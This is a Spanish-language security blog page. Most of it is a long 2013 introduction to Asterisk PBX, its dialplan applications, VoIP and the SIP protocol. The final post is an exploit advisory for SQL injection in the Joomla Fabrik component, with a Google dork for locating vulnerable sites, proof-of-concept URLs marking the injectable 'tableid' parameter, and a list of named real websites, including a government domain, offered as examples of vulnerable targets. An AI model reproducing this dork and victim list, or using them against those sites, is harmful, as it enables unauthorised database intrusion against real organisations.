sábado, 26 de octubre de 2013

Sistema Telefónico VoIP (En la Luz).




Para poder inmiscuirnos en el mundo del VoIP, es necesario tener como base conocimientos acerca de Asterisk. Una vez que conozcamos el gran mundo de Asterisk, vamos a poder tratar de forma mas especifica la rama VoIP, esto se hace para poder concatenar e hilar conocimientos de forma estructurada.
Bueno es momento de iniciar esta nueva aventura.




Asterisk es un programa de software libre (bajo licencia GPL) que proporciona funcionalidades de una central telefónica (PBX). Como cualquier PBX, se puede conectar un número determinado de teléfonos para hacer llamadas entre sí e incluso conectar a un proveedor de VoIP o bien a una RDSI tanto básicos como primarios.

 El creador de este programa es Mark Spencer y actualmente es su principal desarrollador, junto con otros programadores que han contribuido a corregir errores y añadir novedades y funcionalidades. Originalmente desarrollado para el sistema operativo GNU/Linux, Asterisk actualmente también se distribuye en versiones para los siguientes sistemas operativos :

  • BSD
  • Mac OS X,
  • Solaris 
  • Microsoft Windows

Aunque la plataforma nativa (GNU/Linux) es la que cuenta con mejor soporte de todas.




Nota : Para conectar teléfonos estándares analógicos son necesarias tarjetas electrónicas telefónicas FXS o FXO fabricadas por Digium u otros proveedores, ya que para conectar el servidor a una línea externa no basta con un simple módem.




Protocolos de soporte para Asterisk.


Asterisk puede soportar prácticamente todos los protocolos de vozIP.

  • SIP (Session Initiation Protocol)
  • H.323
  • SCCP (Cisco Skinny)
  • IAX/IAX2  (Inter-Asterisk eXchange)
  • MGCP (Media Gateway Control)

Adicionalmente podemos incluir algunas características de Asterisk.

  1. Soporta "bridging" entre tecnologias distintas.
  2. Soporta transcodificación.



Funcionalidades de Asterisk


  • Asterisk es capaz de trabajar con prácticamente todos los estándares de telefonía tradicional:
  1. Líneas analógicas.
  2. Líneas digitales : E1, T1, accesos básicos.
  •  Música en espera para los clientes que esperan en cola, soportando streaming así como música MP3.

  • Integración de sistemas Text-to-speech (los software de síntesis de la voz como el “Festival” o el “Cepstral” pueden ser integrados)

  • Generación de datos de llamada (CDR) para la integración con los sistemas de facturación.

  • Integración con sistemas de reconocimiento de voz (tales como el software abierto de reconocimiento de voz “Sphinx”)

  • La capacidad de interconectarse con las líneas telefónicas normales, ISDN de tarifa básica y las interfaces PRI

  •  Conectando Oficinas en distintas ciudades mediante VoIP, Internet o una red privada IP.

  • Dándole voicemail a todos los empleados, integrado con la Web y su E-mail.

  • Menús de audio pregrabados incluidos con locutor profesional y las opciones que el usuario determine.

Menús de audio pregrabados incluidos con locutor profesional y las opciones que el usuario determine. (no incluye audios) - See more at: http://www.citsrl.com.ar/que-es-asterisk/#sthash.oNgOZ4oR.dpuf
Menús de audio pregrabados incluidos con locutor profesional y las opciones que el usuario determine. (no incluye audios) - See more at: http://www.citsrl.com.ar/que-es-asterisk/#sthash.oNgOZ4oR.dpuf
  • Construyendo aplicaciones de voz interactivas.




Función del Dialplan.


Dialplan en Asterisk, podría considerarse la columna vertebral del sistema. Como característica principal, podríamos decir que es algo parecido a un lenguaje de script, en el que funciones, aplicaciones y recursos se van intercalando para formar algo parecido a "procedimientos" y "programas" dentro de lo que pudiera considerarse.

Este paradigma de programación orientado a los canales de telefonía es exclusivo en el mundo y aporta todo el potencial y flexibilidad, que las PBX tradicionales no pueden ofrecer, o lo hacen mediante mecanismos de licenciamiento y estructuras en ocasiones demasiado complejas.




El Dialplan se fundamenta principalmente en un fichero, aunque se pueden incluir ficheros auxiliares adicionales, llamado extensions.conf, dentro del directorio de configuraciones generales /etc/asterisk

A continuación se mostrara la lista de aplicaciones disponibles en el CLI mediante el comando “show applications” y “show application <nombre>”.




Funciones Generales.

  • Función Authenticate: Autenticar a un usuario
  • Función VMAuthenticate: Autenticar a un usuario basado en el archivo voicemail.conf
  • Función Curl: Permite obtener URLs externos. También soporta el posteo. Ha sido reemplazado por CURL.
  • Función DUNDiLookup: buscar un número usando DUNDi
  • Función Page: enviar un mensaje Pager (nuevo en asterisk versión 1.2)
  • Función SendDTMF: Envía dígitos DTMF
  • Función SendImage: Envia un archivo de imagen
  • Función SendText: Enviar a un cliente un mensaje de texto
  • Función SendURL: Enviar a un cliente una URL para mostrar
  • Función System: Ejecutar un comando del sistema
  • Función Transfer: Transferir al usuario que llama a un interno remoto.
  • Función TrySystem: Ejecutar un comando del sistema y siempre retornar 0
  • Función Wait: Espera por una cierto tiempo
  • Función WaitExten: Espera por una cierto tiempo
  • Función WaitForRing: Espera a la aplicacion Ring
  • Función WaitMusicOnHold: pone música en esperar


Facturación

  • Función ForkCDR: dividir los CDR en 2 partes separadas
  • Función NoCDR: Se asegura de que el asterisk no guarde un CDR para ciertas llamadas.
  • Función ResetCDR: Resetea los datos de los CDR
  • Función SetAccount: setea el código de cuenta
  • Función SetAMAflags: setea la bandera para la facturación del canal
  • Función SetCDRUserField: setea el campo de usuario en los CDR
  • Función AppendCDRUserField: Añade los datos al campo de usuario de los CDR


Recepción de Llamadas.

  • Función Answer: Contestar un canal si suena
  • Función Busy: Indicar la condición de ocupado y esperar el corte
  • Función ChanIsAvail: Comprobar si el canal está disponible
  • Función Congestion: Indicar congestión y esperar el corte
  • Función Dial: Establecer una llamada y conectarla con el canal actual
  • Función DISA: DISA (Acceso directo al sistema interno)
  • Funcion Hangup: corte incondicional
  • Función RetryDial: Hacer una llamada, reintentando en caso de falla permitiendo un interno opcional de salida.
  • Función Ringing: Indicar el ringing


Identidad del que Llame.

  • Función CallingPres: Cambiar la presentación para el callerid
  • Función LookupBlacklist: buscar el nombre/número de CallerID en la lista negra de una base de datos.
  • Función LookupCIDName: buscar el nombre de CallerID de una base de datos local.
  • Función PrivacyManager: Requerir que se ingrese el número de teléfono si no se envió ningún CallerID.
  • Función SetCallerID: setea el CallerID. Ha sido reemplazado por CALLERID.
  • Función SetCallerPres: Ajuste independiente de canal para la presentacion del que llama.
  • Función SetCIDName: Fija el nombre de CallerID. Ha sido reemplazado por CALLERID.
  • Función SetCIDNum: Fija solamente el número de identificación del que llama (no el nombre). Ha sido reemplazado por CALLERID.
  • Función SoftHangup: hace un Hangup en otro canal
  • Función Zapateller: Bloquea a los telemarketers


ADSL

  • Función ADSIProg: Cargar scripts ADSI de Asterisk en un teléfono
  • Función GetCPEID: Obterner la identificación de CPE ADSI.

Manejo de la base de datos

  • Función DBdel: Suprimir un valor de la base de datos.
  • Función DBdeltree: Suprimir una familia o arbol de valores de la base de datos.
  • Función DBget: Obtener un valor de la base de datos. Ha sido reemplazado por la Función DB.
  • Función DBput: Almacenar un valor en la base de datos. Ha sido reemplazado por la Función DB.
  • Función MYSQL: Realiza varias actividades en la base de datos de MySQL
  • Función DBQuery: Ejecuta sentencias predefinidas en servidores de MySQL, y envia los resultados nuevamente al dialplan.


Integración de Aplicaciones

  • Función AGI: Ejecuta una aplicación de AGI
  • Función DeadAGI: Ejecuta un AGI en un canal colgado
  • Función EAGI: Ejecuta una aplicación de AGI
  • Función EnumLookup: busca un numero en ENUM
  • Función ExternalIVR: Ejecuta un generador de IVR externo
  • Función Macro: implementación de macros
  • Función NoOp: Ninguna operación. Puede imprimir valores en la consola para debuggear.
  • Función Perl: el res_perl es el mod_perl de Apache, pero para el asterisk
  • Función PHP: integra PHP en asterisk sin necesidad de AGI
  • Función Read: Lee una variable con DTMF
  • Función TXTCIDName: busca el nombre del que llama de un registro TXT
  • Función UserEvent: Enviar un acontecimiento arbitrario a la interfaz de manager



Control de flujo y tiempos

  • Función AbsoluteTimeout: setea el tiempo máximo absoluto para una determinada llamada
  • Función DigitTimeout: Fija el intervalo máximo entre los dígitos
  • Función Gosub: Saltar a una subrutina y volver
  • Función GosubIf: Salto condicional a una subrutina y vuelta
  • Función Goto: ir a una prioridad particular, un interno, o un contexto particular
  • Función GotoIf: función Goto condicional
  • Función GotoIfTime: Goto condicional en el tiempo actual
  • Función Random: Hacer un salto al azar en tu dialplan
  • Función ResponseTimeout: setea el máximo tiempo de espera de respuesta
  • Función Return: retorno de un Gosub o de un GosubIf
  • Función StackPop: borra una direccion de retorno sin volver
  • Función While: Comienza un loop While
  • Función EndWhile: Terminar un loop While
  • Función ExecIf: Exec condicional



Manipulación de variables y strings

  • Función ImportVar: setear el valor de una variable
  • Función Math: Realiza cálculos (simples). Ha sido reemplazada por la Función MATH.
  • Función SetGlobalVar: setear el valor de una variable. Ha sido reemplazada por la Función GLOBAL.
  • Función Set: setea las variables de canal o los valores de las funciones
  • Función DBRewrite: Ejecuta expresiónes regulares de Perl y substituciónes desde una base de datos de MySQL.


Sonidos: Playback

  • Función Background: poner un sonido mientras que se ejecutan otros comandos
  • Función BackgroundDetect: pone un sonido de fondo y activa la deteccion de habla.
  • Función ControlPlayback: pone un sonido con controles de rebobinado, adelanto y de salida.
  • Función DateTime: Decir la fecha y/o el tiempo (obsoleto)
  • Función Echo: envia un eco de todo lo que dice el usuario
  • Función Festival: decir un texto con el sintetizador de voz Festival
  • Función Flite: decir un texto con el sintetizador de voz Festival Lite (tiene una respuesta más rápida que el Festival)
  • Función Milliwatt: Genera un tono constante de 1000Hz en 0dbm (ulaw)
  • Función MP3Player: pone un sonido MP3
  • Función MusicOnHold: pone música en espera indefinidamente
  • Función Playback: pone un sonido
  • Función Playtones: pone una lista de tonos mientras que ejecuta otros comandos
  • Función Progress: poner audio temprano al que llama antes de contestar la línea
  • Función SayUnixTime: Decir la fecha y/o tiempo
  • Función SayAlpha: dice Alfa
  • Función SayDigits: dice dígitos
  • Función SayNumber: dice números
  • Función SayPhonetic: dice fonética
  • Función SetMusicOnHold: setea la clase de música en espera por default
  • Función SetLanguage: Cambia el lenguaje para los archivos de sonido
  • Función StopPlaytones: deja de poner una lista de tonos




  • Función ALSAMonitor: monitorear la consola de ALSA
  • Función ChangeMonitor: Cambiar el nombre del fichero de monitoreo de un canal
  • Función ChanSpy: Escucha una llamada
  • Función Dictate: grabar y reproducir un dictado
  • Función MixMonitor: Graba y mezcla los 2 canales de una llamada nativamente.
  • Función Monitor: grabar una conversación de teléfono a un archivo de sonido
  • Función Record: grabar la entrada de voz de un usuario a un archivo
  • Función StopMonitor: deja de monitorear un canal



Funciones SIP

  • Función SIPdtmfMode: Cambia el modo DTMF de una llamada SIP
  • Función SIPGetHeader: Obtiene cualquier encabezado de un mensaje SIP INVITE ( substituido por SIP_HEADER() )
  • Función SIPAddHeader: Agrega un encabezado a un mensaje SIP INVITE de salida.



Funciones ZAP

  • Función Flash: envia un Flash en un Trunk Zap
  • Función ZapBarge: escucha en un canal Zap
  • Función ZapSendKeypadFacility: Envia dígitos fuera de banda sobre una PRI
  • Función ZapRAS: Proporcionar un servicio de datos ISDN
  • Función ZapScan: explorar los canales Zap para monitorear llamadas




  • Función Directory: Proporcionar un directorio de internos del voicemail
  • Función HasNewVoicemail: si hay nuevo voicemail salta a la prioridad + 101
  • Función MailboxExists: Comprueba si existe la casilla
  • Función MeetMe: conferencia simple MeetMe
  • Función MeetMeAdmin: Administración de la conferencia de MeetMe
  • Función MeetMeCount: Conteo de participantes de una conferencia MeetMe
  • Función VoiceMail: Dejar un mensaje de voicemail
  • Función VoiceMailMain: Ingresar al sistema de voicemail
  • Función VMAuthenticate: Autenticar un usuario basado en el archivo voicemail.conf




  • Función AddQueueMember: Agrega dinámicamente miembros de la cola de espera
  • Función AgentCallbackLogin: callback a un agente
  • Función AgentLogin: pide al agente que se logee
  • Función AgentMonitorOutgoing: graba la llamada saliente del agente
  • Función ParkAndAnnounce: estacionar una llamada y anunciarla
  • Función ParkedCall: Contestar una llamada estacionada
  • Función PauseQueueMemeber: pone en pausa a un agente
  • Función Queue: pone una llamada entrante en una cola de espera
  • Función RemoveQueueMember: Quita dinámicamente a miembros de una cola de espera
  • Función UnpauseQueueMemeber: Rehabilita a un agente

Alarma de Monitoreo.

  • Función AlarmReceiver: Emular el protocolo Contact ID receptor de alarmas de Ademco


Radio Amateur

  • Función Rpt: soporte para conectar Radio aficionados y repetidores comerciales de 2 vias



Funciones externas (no estan en el CVS)

  • Función App_dbodbc: Modificandores del Dialplan usando unixODBC
  • Función DynExtenDB: Almacenar los internos en una base de datos
  • Función Iconv: convertir sets de caracteres.
  • Función LDAPget: Obtener un valor de un servidor de directorio LDAP
  • Función CallingCard: Diseñada para Postgres
  • Función PPPD: Conector al demonio de PPP
  • Función Backticks: Almacenar el resultado de un comando del shell en una variable de Asterisk
  • Función ASR: reconocimiento de voz multilingue profesional para el asterisk


Aplicaciones Bristuff y zaphfc

  • Función PickUp: atender un canal
  • Función PickUpChan: Tomar el canal especificado
  • Función PickDown: Colgar una llamada que suena
  • Función Steal: Asumir el control de una llamada establecida
  • Función Devstate: Generar un evento de cambio de estado del dispositivo (en uso, ocupado, sonando)
  • Función Segfault: Matar al Asterisk con un segfault
  • Función ZapEC: Permitir o anular la cancelación de eco para Zap



Funciones para los canales Sirrix

  • Función SrxEchoCan: Inhabilitar/permitir la cancelación de eco
  • Función SrxDeflect: Desviar una llamada entrante
  • Función SrxMWI: setear/resetear MessageWaitingIndication (MWI) en un grupo de Sirrix



Funcionalidades de tipo Centralita avanzada.

  • IVR : (Interactive Voice Response) Recepción y gestion de llamadas con menús interactivos.
  • Buzón de Voz : Mensajes de voz enviados por Email, avisos por SMS, etc.
  • Configuracion en Base de Datos : Extensiones, usuarios, etc. Pueden ser almacenados en BBDD (MySQL, MS SQL,  ODBC* ...). Es posible gestionar la BBDD desde intrener/extranets, etc.



AGI - Asterisk Gateway Interface.


Asterisk Gateway Interface (AGI), o Interfaz Pasarela de Asterisk, es una interfaz del sistema Asterisk, que permite la comunicación con sistemas terceros. Pero a diferencia de AMI, lo hace de forma directa, dado que ejecuta un script a voluntad, tan pronto la aplicación AGI sea invocada.


AMI - Asterisk Manager Interface.


Las siglas AMI vienen de Asterisk Manager Interface, o Interfaz para la Gestión de Asterisk. Si pudieramos comparar a Asterisk con una PBX, AMI sería el equivalente a un CTI (Computer Interface Integration, o Interfaz de Integración con el Ordenador). Hay que considerar que aunque paradojicamente, Asterisk ya es un programa de ordenador en si, como veníamos diciendo, si consideraramos a Asterisk como otra PBX, sería como una interfaz para la integración con otras aplicaciones de ordenador. 

Ejemplo de AMI : Flash Operator Panel.





Asterisk puede estar integrado en diversas formas, a continuación vamos a dar ciertos detalles de alugnas vairedades.

  • Como centralita tradicional (Centralita IP)
  • Como pasarela transparente hacia VozIP en sistemas en producción actuales.
  • Como sistema donde residen las aplicaciones complementarias de un ITSP (basado en SER por ejemplo ) tipo buzon de voz, etc.
  • Como plataforma para servicios telefónicos avanzados : gestión de incidencias, soporte, pedidos,etc.


Asterisk como PBX (Centralita)/IP PBX.




Asterisk como pasarela transparente hacia voz IP


La telefonía a es un servicio crítico, un reemplazo masivo no siempre es bienvenido ni recomendable .En muchos casos, las empresas han renovado sus centralitas recientemente.

Asterisk puede integrarse como pasarela transparente hacia la tecnología VozIP sin necesidad de modificar o actuar en la infraestructura telefónica ya desplegada y en producción.




Asterisk como servidor de plataforma de telefonía.




SIP, H.323, IAX y MGCP.
Bueno en esta ocasión vamos a charlar acerca de la tecnología VoIP. En este post pretendo mostrar un pequeño panorama por la cual se esta extendiendo esta tecnología, claro esta también los riesgos las cual nos trae consigo. Bueno es momento de empezar y deslizarnos por el VoIP.


Problemas nativos de la VozIP


Asterisk sufre, al igual que el resto de soluciónes de los problemas de la VozIP :

  • Latencia.
  • Jitter.
  • Ancho de banda.
Algunos se pueden solucionar en cierta medidas :

  1. Cambio dinámico de proveedor en base a su latencia.
  2. IAX2 Trunking para ahorrar cierto ancho de banda en los enlaces inter-asterisk

Problemas de configuración (Complejidad).

  • Asterisk se configura normalmente como ficheros de texto, la sintaxis puede ser ligeramente "obtusa".
  • Existen bastantes gestores e interfaces de usuario para configurarlo, pero no están del todo depurados para ser integrados conjuntamente.




Problemas de compatibilidad.

  • El mundo de las telecomunicaciones es en muchas ocasiones un mundo muy cerrado.
  • Es posible configurar el comportamiento de Asterisk para que soporte casi cualquier configuración estandar, sin embargo, obtener los datos del operador muchas veces no es tarea fácil.

Se mezclan dos mundos :

  1. Telecomunicaciones (Estándares RDSI,etc ).
  2. Sistemas (Configuracion Servidor : BBDD, Raid, etc ).



Notas Alternas a Asterisk :

La inversión inicial para ir probando y conociendo Asterisk puede ser nula :


  1. Instalamos Asterisk en un equipo ya existente.
  2. Utilizamos tecnología VozIP sobre la red ya existente.
  3. Utilizamos softphones SIP libres (gratuitos).
  4. Existen ITSP tipo VoipBuster, y mas que ofrecen llamadas gratuitas con SIP.
  5. Existen Redes tipo FreeWorldDial UP que soportan SIP/IAX2, etc.



VoIP - Voice Over Internet Protocol.
VoIP tambien conocido como "Voice Ovev Internet Protocol", el cual hace referencia a la emisión de voz en paquetes IP sobre redes de datos como puede ser Internet. Esta nueva tecnología  VoIP trata de transportar la voz, previamente procesada i encapsulado en paquetes de datos para poder ser transportadas sobre redes de datos sin necesitas de disponer de una infraestructura telefónica convencional. Esto se hace con el fin de tener una red homogénea en la cual todo tipo de información, ya sea el caso de voz y video sean tratados de cierta forma como un conjunto de datos.

Como es de esperar al diseñar una nueva tecnología, siempre se presentan ciertos inconvenientes, en el  caso del desarrollo de la telefonía sobre IP, los inconvenientes son los siguientes :

  • Seguridad 
  • Fiabilidad 
  • Calidad de Servicio (QoS)

Problemas del servicio.

  • Como VoIP se encuentra basado en el protocolo IP (y en muchos casos usando UDP en la capa de transporte) asume la posibilidad de que los paquetes puedan perderse.
  • No existe una garantía absoluta en el tiempo que tardan en llegar los paquetes al otro extremo de la comunicación aunque se utilicen técnicas de priorización.
  • Desde el punto de vista de seguridad, las llamadas en VoIP se transmiten por Internet o por redes potencialmente. Lo cual plantea riesgo de privacidad y seguridad que no surgen con un servicio telefónico tradicional ( en términos generales).
  • La tecnología VoIP al ser una nueva tendencia, tiene muchos puntos vulnerables, entre ellos están los protocolos utilizados, en los dispositivos que intervienen en la comunicación y debilidades en la red por la cual se transmite.



Ventajas del servicio.


  • Más por tu dinero. En lugar gestionar redes separadas para Internet y telefonía ambos servicios se pueden desplegar sobre una misma red. También dan una serie de características como el servicio de operadora automática, llamada en espera, desvío de llamadas y correo de voz sin tener que pagar nada extra, ya que todo se maneja vía software.
  • Mayor flexibilidad. Cuando se tenga la necesidad de añadir una línea de teléfono o mover una extensión, no hace falta cambiar la configuración física de la red.
  • Bajo costo de instalación. Un sistema de telefonía VoIP no requiere de una gran instalación de red o el uso de equipos como PBX. Esencialmente, el sistema es plug-and-play, por lo que es ideal para las pequeñas empresas.
  • Acceso desde cualquier lugar. VoIP permite que desde el Smartphone de puedan usar los teléfonos de negocios en la oficina, en casa o en la carretera. También permite acceder simultáneamente a los datos mientras estás en el teléfono.
  • Despliegue de comunicaciones unificadas. VoIP es el principio para una solución de comunicaciones unificadas en toda regla (UC). UC significa que se puede trabajar también con mensajería instantánea, video chat, conferencias Web, etc. Todo en una única interfaz.




Infraestructura básica VoIP.


Dentro de una estructura básica de una red VoIP, es muy importante tener presente los diferentes elementos que formar parte de dicha estructura.

  • Terminales : Son los dispositivos que utilizarán los usuarios para comunicarse. Implementados tanto en hardware como en software realizan las funciones de los teléfonos tradicionales.
  • Gateways : De forma transparente se encargan de conectar las redes VoIP con las redes de telefonía tradicional.
  • Gatekeepers : Son el centro neurálgico de redes VoIP. Se encargan de realizar tareas de autenti cación de usuarios, control de admisión, control de ancho de banda, encaminamiento, servicios de facturación y temporización, etc.


Protocolos y estandares VoIP.





Como ya hemos comentado anteriormente , VoIP engloba un sin fin de protocolos, por la cual la base de la telefonía IP debería ofrecer los mismos servicios que la telefonía tradicional. Para proseguir con nuestro documentación, vamos a habar acerca de los dos protocolos mas importantes en VoIP, las cuales son : H.323 y SIP (Anteriormente ya mencionado). Claro que no hay que dejar de lado los otros protocolos los cuales son : RTP y RTCP.




El origen del H.323, nació con el fin de dar soporte audiovisual en las redes de área local, pero con el tiempo ha evolucionado para dar soporte y convertirse en un estándar de VoIP.




Nota : H.323. no es un solo protocolo sino un conjunto que cubren distintos aspectos de la comunicación como el direccionamiento, la señalización, la compresión, transmisión de voz y el control de transmisión. H323 fue además el encargado de adoptar el estandar de RTP (Protocolo de Transporte de tiempo Real) para transportar audio y video sobre redes IP.



En este punto es momento de añadir el protocolo que es ampliamente utilizado en telefonía IP, el cual es el procotolo SIP (Session Initation Protocol).




SIP - Session Initation Protocol. 


SIP es un protocolo simple de señalizacion y control utilizado para telefonía y videoconferencia sobre redes IP. SIP ademas viene a ser un protocolo abierto y ampliamente soportado que no depende de ningún fabricante. Su simplicidad, estabilidad y facilidad para integrarse con otros protocolos y aplicaciones lo han convertido en un estándar de la telefonía IP.


Como ya se menciono, SIP es un protocolo de señalizacion por lo que solo maneja el establecimiento, control y terminación de las sessiones de comunicación. Normalmente una vez se ha establecido la llamada se produce el intercambio de paquetes RTP que transportar realmente el contenido de la voz. También pueden encapsular otros protocolos como SDP, el cual es utilizado para la negociación de las capacidades de los participantes, tipo de codificación, etc.



Nota : SIP es un protocolo de aplicación por ende funcionara tanto sobre TCP como UDP. Dentro de SIP vamos a encontarr los siguientes componentes : Agentes de Usuario (UA) y servidores. Entre los User-Agent, a su vez , podemos encontrar los agentes de usuario clientes (UAC) que son los que inician las peticiones de llamada y los agentes de usuario servidor(UAS) que reciben las peticiones del UAC.




Infraestructura del protocolo SIP.


  • Servidor Proxy SIP : Realiza las funciones intermediador entre UAC y el UAS. Unva vez le llega la petición de inicio de llamada UAC, decide a que servidor debería ser enviada y entonces retransmite la petición, que en algunos casos puede llegar a atravesar varios proxys SIP antes de llegar a su destino.

  • Servidor de Redirección : Es un servidor que genera respuestas de redirección a las peticiones que recibe. Este servidor reencamina las peticiones hacia el próximo servidor.

  • Servidor de Registro :  Es un servidor que acepta peticiones de registro de los usuarios y guarda la información de estas peticiones para suministrar un servicio de localización y traducción de direcciones en el dominio que controla.

  • Servidor de Localizción :  Es un servidor cuyo objetivo es facilitar información al Proxy o Redirect sobre la ubicación del destinatario de una llamada.




En la infraestructura SIP los clientes son identificados por direcciones definidas como URL's my similares a las direcciones de correo : user@host ó user@dominio. Ejemplo : Sky_BlaCk@uv.es.

En la siguiente tabla podemos observar un resumen de los mensajes SIP :




Del mismo modo tenemos una lista de los códigos de respuesta a las peticiones SIP.




En la siguiente imagen podemos apreciar un ejemplo de establecimiento de llamada en el protocolo SIP.



Proceso de comunicación :

  • Alice y Bod deben se deben registrar en el servidor de registro.
  • Cuando Alice quiere contactar con Bob realiza una petición INVITE hacie el Proxy Server que sera el encargado de enrutar el mensaje.
  • El Proxy Server reenvía la  petición al destinatario Bob, previamente consultando en el Servidor de Localización la dirección de Bob.
  • Cuando Bob descuelga se retransmite un mensaje 200 OK al emisor de la llamada. 
  • Una vez que se han enviado los mensajes ACK, la llamada queda establecida.


Ejemplo Adicional :  




Bueno con esto finalizo este pequeño post. Espero que les sea de utilidad al momento de disponer de esta tecnología. Posteriormente voy a preparar el post de Sistemas Telefónicos VoIP (En las Sombras.). Bueno me despido y será hasta la próximo. Nos vemos.






P.D : Agradezco a una persona en particular, ya que sus palabras me inspiraron a comenzar a escribir este humilde blog de Seguridad Informática. Para esa persona un saludo muy especial de mi parte.





jueves, 3 de octubre de 2013

Vulnerability SQLi and BlindSQLi - Joomla.




[*] Exploit Títle           :   Vulnerabilities Joomla Fabrik - SQLi and BlindSQLi
[*] Exploit Author       :   Dark23
[*] Versión                  :   1.5
[*] Tested on              :   Window and Linux
[*] Google dork         :   [inurl:index.php?option=com_fabrik]

-------------------------------
#     ~ Exploitation ~    #
-------------------------------


Concept :

SQL Injection is a method of infiltration arbitrary code that uses a computer vulnerabilities present in an application-level input validation to query a database.

The origin of the vulnerability lies in the wrong check and / or filtering of the variables used in a program that contains.




PoC - SQLi.

Variable : tableid

http://www.target.com/index.php?option=com_fabrik&view=table&tableid=[SQL Blind]&calculations=98&Itemid=75



PoC - SQLi.

Variable : tableid

http://www.taget.com/index.php?option=com_fabrik&view=table&tableid=[SQL Blind]&calculations=5&resetfilters=10&Itemid=94&lang=es





Example


[*] http://feceminte.cat/index.php?option=com_fabrik&view=table&tableid=4&calculations=0&Itemid=159&lang=es&act1=1

[*] http://osaarchivum.org/index.php?option=com_fabrik&view=table&tableid=5&calculations=0&Itemid=1520&lang=en&limitstart5=450


[*] http://www.alcaniz.es/index.php?option=com_fabrik&view=table&tableid=8&calculations=0&resetfilters=0&Itemid=466


[*] http://www.scb.travel/index.php?option=com_fabrik&view=table&tableid=9&calculations=0&Itemid=85


[*] http://www.ipse.gov.co/ipseactual2013/index.php?option=com_fabrik&view=table&tableid=6&calculations=0&resetfilters=0&Itemid=96&lang=es


[*] http://healthcare-resourcesgroup.com/index.php?option=com_fabrik&view=table&tableid=13&calculations=0&resetfilters=0&Itemid=267&limitstart13=20


[*] http://www.statmedicalsearch.com/index.php?option=com_fabrik&view=table&tableid=13&calculations=0&resetfilters=0&fabriklayout=default&Itemid=273&&limitstart13=40